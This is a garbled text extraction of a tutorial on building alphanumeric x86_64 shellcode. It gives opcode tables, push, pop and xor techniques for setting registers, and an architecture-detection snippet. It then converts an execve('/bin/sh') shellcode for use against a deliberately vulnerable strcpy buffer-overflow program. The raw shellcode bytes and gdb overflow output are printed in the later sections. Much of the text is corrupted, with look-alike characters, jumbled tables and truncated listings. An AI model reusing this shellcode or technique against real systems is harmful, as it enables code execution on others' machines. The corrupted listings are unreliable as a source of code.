

programmers must emulate other required instructions using only the instructions available.

Numeric			
ASCII	Hex	Assembler Instruction	
0	0x30	xor %{16bit}, (%{64bit})	
1	0x31	xor %{32bit}, (%{64bit})	
2	0x32	xor (%{64bit}), %{16bit}	
3	0x33	xor (%{64bit}), %{32bit}	
4	0x34	xor [byte], %al	
5	0x35	xor [dword], %eax	
6	0x36	%ss segment register	
7	0x37	Bad Instruction!	
8	0x38	cmp %{16bit}, (%{64bit})	
9	0x39	cmp %{32bit}, (%{64bit})	

ASCII	Hex	Assembler Instruction
Α	0x41	64 bit reserved prefix
в	0x42	64 bit reserved prefix
С	0x43	64 bit reserved prefix
D	0x44	64 bit reserved prefix
Е	0x45	64 bit reserved prefix
F	0x46	64 bit reserved prefix
G	0x47	64 bit reserved prefix
н	0x48	64 bit reserved prefix
I	0x49	64 bit reserved prefix
J	0x4a	64 bit reserved prefix
к	0x4b	64 bit reserved prefix
L	0x4c	64 bit reserved prefix
М	0x4d	64 bit reserved prefix
Ν	0x4e	64 bit reserved prefix
0	0x4f	64 bit reserved prefix
Р	0x50	push %rax
Q	0x51	push %rcx
R	0x52	push %rdx
S	0x53	push %rbx
т	0x54	push %rsp
U	0x55	push %rbp
v	0x56	push %rsi

W	0x57	push %rdi
X	0x58	pop %rax
Y	0x59	pop %rcx
z	0x5a	pop %rdx

Lowercase			
ASCII	Hex	Assembler Instruction	
а	0x61	Bad Instruction!	
b	0x62	Bad Instruction!	
c	0x63	movslq (%{64bit}), %{32bit}	
d	0x64	%fs segment register	
е	0x65	%gs segment register	
f	0x66	16 bit operand override	
g	0x67	16 bit ptr override	
h	0x68	push [dword]	
i	0x69	imul [dword], (%{64bit}), %{32bit}	
j	0x6a	push [byte]	
k	0x6b	imul [byte], (%{64bit}), %{32bit}	
I	0x6c	insb (%dx),%es:(%rdi)	
m	0x6d	insl (%dx),%es:(%rdi)	
n	0x6e	outsb %ds:(%rsi),(%dx)	
0	0x6f	outsl %ds:(%rsi),(%dx)	
р	0x70	jo [byte]	
q	0x71	jno [byte]	
r	0x72	jb [byte]	
s	0x73	jae [byte]	
t	0x74	je [byte]	
u	0x75	jne [byte]	
v	0x76	jbe [byte]	
w	0x77	ja [byte]	
x	0x78	js [byte]	
У	0x79	jns [byte]	
z	0x7a	jp [byte]	

Alphanumeric opcode compatibility

Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing shellcode that will run on both 32 bit and 64 bit x86 platforms becomes possible.

Alphanumeric inter-compatible x86 opcodes

This chart was derived by cross referencing available 64 bit instructions with available 32 bit instructions.

Intercompatible x86* Alphanumeric Opcodes			
Hex	ASCII	Assembler Instruction	
0x64, 0x65	d,e	[fs gs] prefix	
0x66, 0x67	f,g	16bit [operand ptr] override	
0x68, 0x6a	h,j	push	
0x69, 0x6b	i,k	imul	
0x6c-0x6f	l-o	ins[bwd], outs[bwd]	
0x70-0x7a	p-z	Conditional Jumps	
0x30-0x35	0-5	xor	
0x36	6	%ss segment register	
0x38-0x39	8,9	cmp	
0x50-0x57	P-W	push *x, *i, *p	
0x58-0x5a	XYZ	pop [*ax, *cx, *dx]	

Because not *all* opcodes are intercompatible, yet comparisons and conditional jumps *are* intercompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes. The opcodes which are specifically not compatible are limited to the 64 bit special prefixes **0x40-0x4f**, which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, **%r8-%r15**. By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors. Following this, a conditional statement can be made against one of the two registers to determine if the value was set. Using the **pop** instruction is the most effective way to set the value of a register due to instructional limitations. Using an alternative register is equal to the most recent thing pushed or popped from the stack.

15 byte architecture detection shellcode

This bytecode does not have a conditional jump. The reader may add this for customization based on the size and architecture of the payload that occurs after this snippet.

This simple alphanumeric bytecode is 15 bytes long, ending in a comparison which returns equal on a 32 bit system and not equal on a 64 bit system. The conditional jump may be best reserved for the t and u instructions, jump if equal and jump if not equal, respectively.

Assembled: TXHHEZTAZAYVH92 Disassembly: [root@ares bha]# objdump -d xarch32.o xarch32.o: file format elf32-i386 Disassembly of section .text: 00000000 < startb:: 0: 54 push %esp 1: 58 pop %eax



On a 64-bit system, this will not cause a segfault because (%rdx) points to somewhere inside the stack. Also notice that while this was assembled as a Linux-based ELF executable, the Operating System should not matter, as this stays within the confines of legal instructions for any x86 CPU that should not cause an access violation.

Alphanumeric x86_64 register value and data manipulation

Given the limited set of instructions for alphanumeric shellcode, its important to note different methods to manipulate different registers within the confines of the limited instruction set. Identifying these leads to **mov emulations**, which make up most of the actual code.

Push: alphanumeric x86_64 registers

Alphanumeric data can be pushed in one-byte, two-byte, and four-byte quantities at once.

One-byte, two-byte, and four-byte quantities

Assembly	Hexadecimal	Alphanumeric ASCI
pushw [word]	\x66\x68\x##\x##	fh??
pushq [byte]	\x6a\x##	j?
pushq [dword]	\x68\x##\x##\x##	h????

Pushing the 64 bit registers RAXRDI is done using a single upper case P-W (\x50-\x57) dependent on which register is being pushed. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AXDI) gives access to push 32 registers using alphanumeric shellcode.

Push: X86_64 Extended Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %rax	\x50	Р
push %rcx	\x51	Q
push %rdx	\x52	R
push %rbx	\x53	S
push %rsp	\x54	т
push %rbp	\x55	U
push %rsi	\x56	V
push %rdi	\x57	w

For the general registers R8-R15 "A" is prefixed to the corresponding RAX-RDI register push.

Push: X86_64 General Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %r8	\x41\x50	AP
push %r9	\x41\x51	AQ
push %r10	\x41\x52	AR
push %r11	\x41\x53	AS
push %r12	\x41\x54	AT
push %r13	\x41\x55	AU
push %r14	\x41\x56	AV
push %r15	\x41\x57	AW
	Assembly push %r8 push %r10 push %r11 push %r12 push %r13 push %r14 push %r15	Assembly Hexadecimal push %r0 kx41x50 push %r0 kx41x51 push %r10 kx41x52 push %r10 kx41x53 push %r12 kx41x54 push %r13 kx41x55 push %r14 kx41x55 push %r15 kx41x56 push %r15 kx41x57

For the 16 bit registers AX-DI "f" is prefixed to the corresponding RAX-RDI register push.

Push: X86_64 16 bit Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %ax	\x66\x50	fP
push %cx	\x66\x51	fQ
push %dx	\x66\x52	fR
push %bx	\x66\x53	fS
push %sp	\x66\x54	fT

push %bp	\x66\x55	fU
push %si	\x66\x56	fV
push %di	\x66\x57	fW

For the 16 bit general registers R8B-R15b "f" is prefixed to the corresponding R8-R15 register push.

Push: X86_64 16 bit General Registers

1	Assembly	Hexadecimal	Alphanumeric ASCI
p	ush %r8w	\x66\x41\x50	fAP
р	ush %r9w	\x66\x41\x51	fAQ
р	ush %r10w	\x66\x41\x52	fAR
р	ush %r11w	\x66\x41\x53	fAS
р	ush %r12w	\x66\x41\x54	fAT
р	ush %r13w	\x66\x41\x55	fAU
р	ush %r14w	\x66\x41\x56	fAV
р	ush %r15w	\x66\x41\x57	fAW

Pop: alphanumeric x86_64 registers

Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode. This is limited to RAX, RCX, and RAX As with push, the extended register shellcode is prefixed to access 16 bit and general registers. This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers able to be pop(ed).

Pop: X86 64 Extended Registers

Assembly	Hexadecimal	Alphanumeric ASCII
pop %rax	\x58	х
pop %rcx	\x59	Y
pop %rax	\x5a	Z

For general registers, RAX-RCX are prefixed with "A" for the corresponding R8-R10 pop.

Pop: X86_64 General Registers

Assembly	Hexadecimal	Alphanumeric ASCII
pop %r8	\x41\x58	AX
pop %r9	\x41\x59	AY
pop %r10	\x41\x5a	AZ

16 bit registers (using 0x66 or 'f [sometimes fA] prefix):

Assembly	Hexadecimal	Alphanumeric ASCII
pop %ax	\x66\x58	fX
рор %сх	\x66\x59	fY
pop %dx	\x66\x5a	fZ
pop *%r8w	\x66\x41\x58	fAX
pop *%r9w	\x66\x41\x59	fAY
pop *%r10w	\x66\x41\x5a	fAZ

Using push and pop the values of 6 fullsize CPU registers can be set:

- %rax
- %rcx
- %rdx
- %r8
- ∎ %r9 %r8

Or get any values of 16 fullsize CPU registers to the top of the stack:

- %r8-%r15
- %rax-%rdi

Prefixes

Examining this next section, there are 5 main registers, and 5 special 64 bit registers that can be push(ed), but not pop(ed):

- %rbx
- %rsp
- %rbp
- %rsi %rdi

This can be written using alphanumeric bytecode instructions and operands only through the use of any of the 6 full control registers by emulating for mov with push and pop. Using only the registers already accessed, an attempt will be made to get instructions for to set values. refix hae h

The special register prefix has been loentified:
0x41, 'A'
The word operand override has been identified,
0x66, 'f'.
Note the identification of all the alphanumeric overrides and prefixes. These overrides are very similar to those for 32 bit platforms.

Hex Value	Alpha Value	Description
0x36	6	%ss segment override
0x64	d	%fs segment override
0x65	e	%gs segment override
0x66	f	16-bit operand size
0x67	g	16-bit address size
0x41	A	64-bit special register use (%r##
0x48	н	64-bit register size override
0x40-4f	B-P	Special 64-bit overrides
	Hex Value 0x36 0x64 0x65 0x66 0x67 0x41 0x48 0x40-4f	Hex Value Alpha Value 0x36 6 0x64 d 0x65 e 0x66 f 0x67 g 0x41 A 0x48 H 0x40-4f B-P

Operands

Opcodes used for popping a register can also be used as 'register operands' for more advanced instructions. For example, take this xor instruction:

Assembly		Hexadecimal	Alpha
	<pre>xor \$0x[byte](%rax),%ebx</pre>	\x33\x58\x##	3X?

The %rax register can be changed to %rcx or %rdx using the 0x59 (Y) and 0x5a (Z) opcodes in place of the 0x58 (X) opcode:

Assembly		Assembly	Hexadecimal	Alpha
	xor	\$0x[byte] (%rcx),%ebx	\x33\x59\x##	3Y?

Whenever there's a controllable register, the notation {reg} is used to recognize it as an option. In the bytecodes and string examples, a '?' is used in the bytecode itself and a "' to denote the register operand, for example:

Assembly		Hexadecimal	Alpha
	<pre>xor \$0x[byte]({reg}), %ebx</pre>	\x33\x??\x##	3*?

The opcodes for %rax, %rcx, and %rdx are important and thus will be used frequently. When encountering multiple operands, the operand number is used in the notation for readability purposes.

The rbx, rsp, and rbp registers

Identifying the ways to set the rest of the registers while investigating %rbx was not entirely fruitful. Full control over the %rbx register is not available, however, write access to its sub-registers is available:

- %ebx
- %bx
- %bh
- %bl

Apon further investigation, this opened up access to multiple additional registers using:

- Xor
- Imul
- Movslq

Assembly	Hexadecimal	Alpha
xor \$0x[byte]({reg64}), {reg32}	\x33\x??\x#1	3*1
<pre>imul \$0x[dword1], 0x[byte2]({reg64}), {reg32}</pre>	\x69\x??\x#2\x#1\x#1\x#1\x#1	i*21111
<pre>imul \$0x[byte1], 0x[byte2]({reg64}), {reg32}</pre>	\x6b\x??\x#2\x#1	k*21
movslq 0x[byte1]({reg64}), {reg32}	\x63\x??\x#1	c*1

To access the %ss segment, insert the prefix at the beginning of the bytecode of instructions (e.g. "63*?" instead of "3*?"). If preferred to use the special 64 bit registers, 0x41 or "A" is placed at the beginning of the bytecode. If the use of both is required, the %ss segment register prefix first, e.g. '6A3*?' must always be used. When using one of the 64 bit force operators, one can use any of those instructions on a 32 bit register with an override to treat it as its 64-bit counterpart (in this case, 0x48).

Assembly		Hexadecimal	Alpha
imul	<pre>\$0x[byte1], 0x[byte2]({reg64}), {reg64}</pre>	\x48\x6b\x??\x#2\x#1	Hk*21

To set the value of %rbx directly, imul, xor, and movslq can be used. It's similar for other registers:

%rbp

%rsp

Xor

Left over are %rsp, %rbp, %rdi, and %rsi. Taking a closer look at xor, at 0x30 and ending at 0x35 are these valuable xor commands:

Hexadecimal	Assembly	
0x34	<pre>xor \$0x##, %al</pre>	
0x35	xor \$0x########, %eax	
0x48 0x35	xor \$0x########, %rax	

0x30 is a multi-byte xor instruction. Requiring at least two operands (even if register denote):

Hexadecimal	Assembly		
0x30	xor %{16bit}, (%{64bit})		
	<pre>xor %{16bit}, (%{64bit},%{64bit},1)</pre>		
	<pre>xor %{16bit}, (%{64bit},%{64bit},2)</pre>		
	xor %{16bit}, 0x[byte](%{64bit})		
	xor %{16bit}, 0x[byte](,%{64bit},1)		
	xor %{16bit}, 0x[byte](,%{64bit},2)		
	xor %{16bit}, 0x[dword](%{64bit})		
	xor %{16bit}, 0x[dword](,%{64bit},1)		
	xor %{16bit}, 0x[dword](,%{64bit},2)		

0x31 is as flexible as 0x30. Not all permutations are included for brevity.

Hexadecimal	Assembly		
0x31	xor	<pre>%{32bit},</pre>	(%{64bit})

0x32 is just as flexible, although the offsets will change source side rather than destination side. Not all permutations are included for brevity.

Hexadecimal Assembly

0x33 is the opp	osite of 0x31 and as flexible. Not all permutations are included for brevity.
Hexadecimal	Assembly
0x33	<pre>xor (%{64bit}), %{32bit}</pre>
The rsi and	l rdi registers
Combining the I Knowing this, a • %rbx	knowledge of xor with the knowledge of the stack. When any data is pushed, the data is accessible at %ss:(% nother register can be used in the available space (e.g. %rcx) to set values on some of the more difficult register
 %rsp 	
%rbp%rsi	
 %rdi 	
First, utilise pus	sh and pop to simulate 'mov':
<pre>push %rsp; \x5 pop %rcx; \x5 pop %rax; \x5 </pre>	f 9 a (This just sets the pointer back)
Two XOR paran	neters allow index registers to be set, %rsi and %rdi. For now, they will be zero'd out:
push %rsi; xor %ss:(%rcx)	\x56 ,%rsi; \x36\x48\x33\x31
pop %r8; push %rdi; xor %ss:(%rcx), pop %r8	\x41\x58 \x57 , %rdi; \x36\x48\x33\x39
Now %rsi and %	
■ %rax	
 %rcx %rdx 	
 %rsi 	
 %rdi %r8 	
■ %r9	
• %r10	
■ %r14 ■ %r15	
So far, in this s	ample, full control has not been utilized over:
 %rsp 	
 %rbp %rbx 	
 %r11 	
 %r12 %r12 	
o be pushed to registered at all To get %rbx: xor %ss:0x30 (%; xor %rax, %ss:1	the stack first, in this case, only the zero register is required. Due to the way that XOR works, once a zero is , in this case %rax is used as the zero register, it can be used to get %rbx, %rsp, and %rbp to zero if needed: rcx), %rax; store that value in rax (stor(), %rax; Mull that area of stack
<pre>imul \$0x30,%ss imul \$0x30,%ss</pre>	:0x30 (%rax),%rbx; 0x30 * 0 = 0 :0x30 (%rax),%rbp; 0x30 * 0 = 0
Once the stack	space, as well as the destination is set to zero, %rax, %rbp can effectively be mov(ed):
xor %rax,%s: xor %ss:0x3	s:0x30(%rcx); 36 48 31 41 30 0(%rcx); %rbp; 36 48 33 69 30
The closest thir against the %ro f %rsi or %rdi a	ng to incrementing and decrementing is the ability to use the ins and outs instructions to add or subtract 1,2, or Ji register. This still leaves no significant add or sub. Imul can be used with 16 and 8 bit registers to find division
movslq %ss:0x3 xor %rsi, %ss:	are not in use, there is also a magic mov:
	are not in use, there is also a magic mov :) (krcx), %rsi)x30 (krsi)
This can come	are not in use, there is also a magic mov : l(trcx), trsi bx30 (trsi) in quite handy when chunking large pieces of data to 0.
This can come	are not in use, there is also a magic mov: (trcx), trsi (trcx), trsi in quite handy when chunking large pieces of data to 0. Zeroning Out x86, 64, CPU Registers
This can come Example: 2	are not in use, there is also a magic mov : (%rex), %rsi >x30 (%rsi) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers shed to the ten of the stock and the pointer address is percend into in %rev, the third pen is to preven that the
This can come Example: 2 First %rsp is pupointer address	are not in use, there is also a magic mov : 0 (%rcx), %rsi 0x30 (%rsi) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx.
This can come Example: 2 First %rsp is pu pointer address pop %r pop %r pop %r	are not in use, there is also a magic mov : 0 (%rcx), %rsi 0 (%rcx) bx30 (%rsi) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx.
This can come Example: 2 First %rsp is pu pointer address push % pop %rd The following pu pack to %rcx u	are not in use, there is also a magic mov : 0 (*rcx), *rsi 0 (*rcx), *rsi in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx. rsp 3 ush overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then s sing pop.
This can come Example: 2 First %rsp is pu poointer address pop ter pop ter pop ter The following pu pack to %rcx u push to pop ter pop ter push to pop ter pop ter push to pop ter pop ter push to pop ter pop ter push to pop ter push to pop ter pop ter push to pop ter pop ter pop ter push to pop ter pop ter push to pop ter pop ter pop ter push to pop ter pop ter pop ter pop ter push to push	are not in use, there is also a magic mov : D(%rcx), %rsi bs30(%rsi) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx. rsp mathematic mathmatic mathematic mathematic
This can come Example: 2 First %rsp is provinter addresss push % pop for pop fo	are not in use, there is also a magic mov : D(%rcx), %rsi bb30(%rsi) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx. rsp s h overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then s sing pop. si same form, %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx.
This can come Example: 2 First %rsp is pr poointer address push % pop %r pop %r pop %r Again using the push % xor % pop %r Again using the push % xor % pop %r Again using the push % push %	are not in use, there is also a magic mov : D(%rcx), %rei bx30(%rei) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx. rep **********************************
This can come Example: 2 First %rsp is provinter address push % pop %r pop %r pop %r pop %r Again using the push % xor %s pop %r Zeroing out RDD	are not in use, there is also a magic mov : D(%rcx), %rsi Dx30(%rsi) in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx. rsp 3 ush overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then s sing pop. rsi same form, %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx. rdi ::(%rcx), %rdi 3 Kis much simpler.
This can come Example: 2 First %rsp is pup pointer addresss pup %r pop %r pop %r The following pu pack to %rcx u push % xor %s pop %r Again using the xor %s pop %r Zeroing out RD2 push % pop %r	are not in use, there is also a magic mov : 0 (*ccx), *rsi 0 (*ccx), *rsi in quite handy when chunking large pieces of data to 0. Zeroing Out x86_64 CPU Registers ushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the matches what is now in %rcx. rsp ash overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then s sing pop. rsi rsi s: (*crcx), *rsi s s: (*crcx), *rsi s s: (*crcx), *rsi s ti (*crcx), *rsi s x: (*crcx), *rsi s x: (*crcx), *rsi s x: (*crcx), *rsi s x: (*crcx), *rsi x: (*crcx), *rsi x: (*crcx), *rsi x: (*crcx), *rsi
This can come Example: 2 First %rsp is pup pointer address pup int pop irr pop irr pop irr The following pu back to %rcx u push % xcr %s pop irr Again using the xcr %s pop irr Erroing out RD2 push % pop irr The following pu kor effectively z	are not in use, there is also a magic mov :
This can come Example: 2 First %rsp is pup pointer address pop int pop	are not in use, there is also a magic mov :

xor	,	ofCX) SLACK S				
xor	%ss:0x30 (%r	cx), %rax	<u> </u>			
or %rbx int	o the stack s	x30 (%rcx)	then xor it a	nainst rbx to zero	0	
xor	%rbx, %ss:0	x30 (%rcx)				
xor	%ss:0x30 (%r	ex), %rbx				
pus	h %rdx					
pop xor xor	%rax %ss:0x30(%r %rax, %ss:0	cx), %rax x30(%rcx)				
s before, x	or %rbp into	the stack se	egment and th	nen xor it against	t rbp to zero.	
xor	%ss:0x30(%r	cx), %rbp				
64 bit s	shellco	de: Co	nversio	n to alph	anumeri	ic code
Because of.c	of the limite	d instruction	set, the conv	ersion requires r	many mov emu	ulations via xor, mul, movslq, push, and pop
ĺ	This is a 100 byt	a modified ve es.	ersion of bof.c	to allow for 200	bytes because	the length of the final shellcode exceeds
include <s include <s< td=""><td>tdlib.h> tdio.h></td><td></td><td></td><td></td><td></td><td></td></s<></s 	tdlib.h> tdio.h>					
include <s< td=""><td>tring.h> t argc, char</td><td>*argv[]){</td><td></td><td></td><td></td><td></td></s<>	tring.h> t argc, char	*argv[]){				
cha str ret	r buffer[200 cpy(buffer, urn 0;]; argv[1]);				
starting	shellcod	e (64-bit	execve /l	oin/sh)		
6	This wa	s converted	to shellcode f	rom the example	e in 64 bit linux	assembly
execve('/	bin/sh');					
section .d section .t globl _sta start:	ata ext rt					
# a functi # Use zero	on is f (%rdi ed memory to	, %rsi, %rdx zero out %r	, %rcx, %r8, si, %rdi, %rc	%r9). İx		
xor %rdi, push %rdi push %rdi pop %rsi	8rdi					
# Store '/ movq \$0x68 shr \$0x8,% push %rdi push %rsp	bin/sh\0' in 732f6e69622f rdi	%rdi 6a, %rdi				
0						
push \$0x3b						
push \$0x3b pop %rax syscall			# execve # functi	('/bin/sh', nul: on no. is 59/0x1	1, null) 3b - execve()	
execve(/	bin/sh')		# execve # functi	e ('/bin/sh', nul: on no. is 59/0x:	1, null) 3b - execve()	
vp %rd1 push \$0x3b pop %rax syscall execve(//	bin/sh') ×ff\x57\x57\	x5e\x5a\x48	<pre># execve # functi \xbf\x6a\x2f\;</pre>	:('/bin/sh', nul: on no. is 59/0x: x62\x69\x6e\x2f\	1, null) 3b - execve() x73\x68\x48\xc1	1\xef\x08\x57\x54\x5£\x6a\x3b\x58\x0f\x05"
<pre>push \$0x3b pop %rax syscall execve(// "\x48\x31\ </pre>	bin/sh') ×ff\x57\x57\	x5e\x5a\x48\	<pre># execve # functi # functi (xbf\x6a\x2f\;</pre>	<pre>('/bin/sh', nul) on no. is 59/0x; x62\x69\x6e\x2f\</pre>	1, null) 3b - execve() x73\x68\x48\xc1	1\xef\x08\x57\x54\x5f\x6a\x3b\x56\x0f\x05"
execve(// "\x48\x31\ shellcoc	bin/sh') xff\x57\x57\ le Analys y before th	x5e\x5a\x48\ iS	<pre># execve # functi \xbf\x6a\x2f\;</pre>	('/bin/sh', nul) on no. is 59/0x x62\x69\x6e\x2f\	1, null) 3b - execve() x73\x68\x48\xcl	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
execve(// "\x48\x31\ bhellcoc	bin/sh') ×£f\x57\x57\ le Analys y before the set to 0x3b	x5e∖x5a\x48\ SiS ≥ syscall:	<pre># execve # functi .xbf\x6a\x2f\;</pre>	('/bin/sh', null on no. is 59/0x x62\x69\x6e\x2f\	l, null) 3b - execve() x73\x68\x48\xc1	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
execve(/ syscall execve(/ "\x48\x31\ chellcocc mmediatel %rax is %rdi is a %rsi and %rsi and %rs	bin/sh') xff\x57\x57\ le Analys ly before the set to 0x3b a pointer to '/ 1 %rdx are n	x5e\x5a\x48\ iiS e syscall: bin/sh\0'	# execve # functi txbf\x6a\x2f\;	('/bin/sh', nul) on no. is 59/0x c62\x69\x6e\x2f\	1, null) 3b - execve() x73\x68\x48\xcl	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
execve(// execve(// "\x48\x31\ bhellcocc %rax is %rdi is a %rsi and preproducio	bin/sh') xff\x57\x57 le Analys y before the set to 0x3b a pointer to 1/ d %rdx are n e this, becau	x5e\x5a\x48\ iiS a syscall: bin/sh\0' ull se the sysc	<pre># execve # functi /xbf\x6a\x2f\; all is binary, i</pre>	('/bin/sh', nul) on no. is 59/0x x62\x69\x6e\x2f\ t must be witter	1, null) 3b - execve() x73\x68\x48\xc1	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" hat will eventually be executed ahead of curren
exerve(// execve(// "\x48\x31\ chellcoc %rai is a %rdi is a %rai is a %rai or reproduce ecuting co	bin/sh') xff(x57\x57\ le Analys y before the set to 0x3b pointer to 7/ d %rdx are n to this, becau ode. The xor	x5e\x5a\x48) siS e syscall: bin/sh\0' ull se the sysc and imul in	<pre># execve # functi (xbf\x6e\x2f\) all is binary, i istructions ca</pre>	t ('/bin/sh', nul) on no. is 59/0x. c62\x69\x6e\x2f\ t must be writter n then be used to	1, null) 3b - execve () x73\x68\x48\xc1	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" hat will eventually be executed ahead of curren
execve(// syscall execve(// "\x48\x31\ Chellcoc mmediatel %rax is %rdi is a %rsi and preproduct kecuting co stack Ar	bin/sh') xff\x57\x57 y before th set to 0x3b a pointer to 1/ d %rdx are n e this, becau ode. The xor nallySis	x5e\x5a\x48\ is a syscall: bin/sh\0' ull se the sysc and imul in	<pre># execve # functi /xbf\x6a\x2f\; all is binary, i structions ca</pre>	t ('/bin/sh', nul) on no. is 59/0x x62\x69\x6e\x2f\ t must be writter n then be used to	1, null) 3b - execve() x73\x68\x48\xc1	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" hat will eventually be executed ahead of curren registers.
execve(// syscall execve(// "\x48\x31\ Shellcoc mmediatel %rax is %rdi is a %rsi and o reproduc kecuting ca Stack Ar	bin/sh') xff\x57\x57 y before the set to 0x3b a pointer to 1/ 1%rdx are n this, becau ode. The xor nallySis These the these these the these the these these the these these the these the these these the these the these these these the these these th	x5e\x5a\x48\ is e syscall: bin/sh\0' ull se the sysca and imul in uffer dumps	<pre># execve # functi (xbf\x6a\x2f\; all is binary, i istructions ca have been sh</pre>	t ('/bin/sh', nul) on no. is 59/0x x62\x69\x6e\x2f\ t must be writter n then be used to nortened for brewi	1, null) 3b - exerve() x73\x68\x48\xc1 n to a location ti o set values on ty and readabili	1\xef\x08\x57\x54\x5f\x6a\x3b\x59\x0f\x05" hat will eventually be executed ahead of curren registers.
<pre>rdl erdl erdl erdl erdl erdl erdl erdl e</pre>	bin/sh') xff\x57\x57\ le Analys y before th set to 0x3b a pointer to '/ d %rdx are n e this, becau dde. The xor nalysis These the bha]# gdb phals from / (perl -e 'pr represent /	x5e\x5a\x48 iiS a syscall: bin/sh\0' ull se the sysc: and imul in uffer dumps q ./bof home/hatx227 int Wix227 int Wix27 int Wix27	<pre># execve # functs structs structions ca have been sh have been sh 'bha/bof(nc' '))</pre>	t ('/bin/sh', nul) on no. is 59/0x: k62\x69\x6e\x2f\ t must be writter n then be used t ortened for brevi o debugging symb	1, null) 3b - exerve () x73\x68\x48\xc1 h to a location th o set values on ty and readabili ols found)dc 2; ')	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" hat will eventually be executed ahead of curren registers. ity.
<pre>rdl erdl pop %rax syscall execve(// "\x48\x31\ Shellcocc mmediatel %rax is %rdi is a %rax is %rdi is a %rax is %rdi is a %rax is %rax is</pre>	bin/sh') xff\x57\x57\ le Analys y before the set to 0x3b a pointer to 1/ 1%rdx are n a this, becau ode. The xor nalysis These t bha]# odb - mbcsls far 2/ mbcsls far 2/ bha]# odb - mbcsls far 2/ mbcsls	x5e\x5a\x48 iis e syscall: bin/sh\0' ull se the sysc: and imul in f, /bof f, /bof g, /bof g, /bof g, /bof sectors g, /bof mer, Pasters weight sectors g, /bof sectors g, /bof sectors sectors g, /bof sectors g, /bof g, /bo g, /bo	<pre># execve # functi (xbf\x6a\x2f\r all is binary, i istructions ca have been sh /bha/bof(nr ') /bof \$(perl.) Segmentation :: xx41414141</pre>	t ('/bin/sh', nul) on no. is 59/0x: <pre>x62\x69\x6e\x2f\ t must be writter t must be writter n then be used to ortened for brewi oortened for bre</pre>	1, null) 3b - execve() x73\x68\x48\xc1 n to a location th o set values on ty and readabili ols found)dc 2;') 0x41414141	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
<pre>prov #rdl pop %rax syscall execve(// "\x48\x31\ "\x48\x31\ Shellcocc mmediatel %rax is %rdl is a %rdl</pre>	bin/sh') xff\x57\x57\ le Analys y before the set to 0x3b pointer to '/ d %rdx are n e this, becau dde. The xor nalysis These the bha] # gdb - bha] # gdb - the 'pr rogram: //house from // (per1 - e ''pr rogram: //house from // (per2 - e ''pr rogram: //house from // (per3 - e ''pr rogram: //house from // signal // signal // signal // signal // signal // signal // for 00 // signal //	x5e\x5a\x48 iiS bin/sh\0' ull se the syscall: home/hatter/ and imul in q./bof home/hatter/	<pre># execve # functi # functi (xbf\x6a\x2f\: all is binary, i istructions ca have been sh (bha/bof(nr)) (bha/bof(nr)) (bha/bof(nr)) (bha/ba/ba/ba/ba/ba/ba/ba/ba/ba/ba/ba/ba/ba</pre>	t ('/bin/sh', nul) on no. is 59/0x: x62\x69\x6e\x2f) t must be writter n then be used to ortened for brevi o debugging symb re 'print "A"x23 sault. 0x2000000 0x22736565	1, null) 3b - execve () x73\x68\x48\xc1 h to a location th o set values on ty and readabili ols found)dc 2; ') 0x41414141 0x0000002 0x2f616662	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" hat will eventually be executed ahead of curren registers. ity.
